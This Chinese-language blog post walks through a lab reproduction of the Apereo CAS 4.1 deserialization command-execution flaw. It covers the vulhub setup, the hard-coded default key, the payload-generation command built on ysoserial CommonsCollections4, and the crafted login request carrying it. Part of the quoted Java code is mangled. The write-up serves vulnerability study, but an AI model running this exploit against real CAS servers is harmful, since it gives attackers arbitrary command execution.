ApereoCAS4.1反序列化命令执⾏漏洞复现
漏洞概述
Apereo CAS是⼀款Apereo发布的集中认证服务平台,常被⽤于企业内部单点登录系统。其4.1.7版本之前存在⼀处默认密钥的问题,利⽤这个默认密钥我们可以构造恶意信息触发⽬标反序列化漏洞,进⽽执⾏任意命令。
影响版本
Apereo CAS <= 4.1.7
环境搭建
这⾥我使⽤vulhub来安装环境
进⼊⽬录并安装
启动⼀个Apereo CAS 4.1.5:
cd vulhub-master/apereo-cas/4.1-rce/
docker-compose up -d
漏洞检测
该漏洞存在于登录的execution参数,使⽤Burp抓包可以发现该参数值。
漏洞复现
漏洞原理实际上是Webflow中使⽤了默认密钥changeit:
public class EncryptedTranscoder implements Transcoder {
cipher命令private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); bufferedBlockCipherBean.ateAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
我们使⽤Apereo-CAS-Attack来复现这个漏洞
下载地址
github/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
使⽤ysoserial的CommonsCollections4⽣成加密后的Payload:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"
然后我们登录CAS并抓包,将Body中的execution值替换成上⾯⽣成的Payload发送:
POST /cas/login HTTP/1.1
Host: 192.168.204.131:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2289
Origin: 192.168.204.131:8080
Connection: close
Referer: 192.168.204.131:8080/cas/login;jsessionid=0CF8D0EDB4319FAE331C7D10BE3E0864
Cookie: JSESSIONID=0CF8D0EDB4319FAE331C7D10BE3E0864
Upgrade-Insecure-Requests: 1
username=asddas&password=asdasd<=&execution=[payload]&_eventId=submit&submit=LOGI
登录docker,可见touch /tmp/success已成功执⾏:
修复建议升级到最新版
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论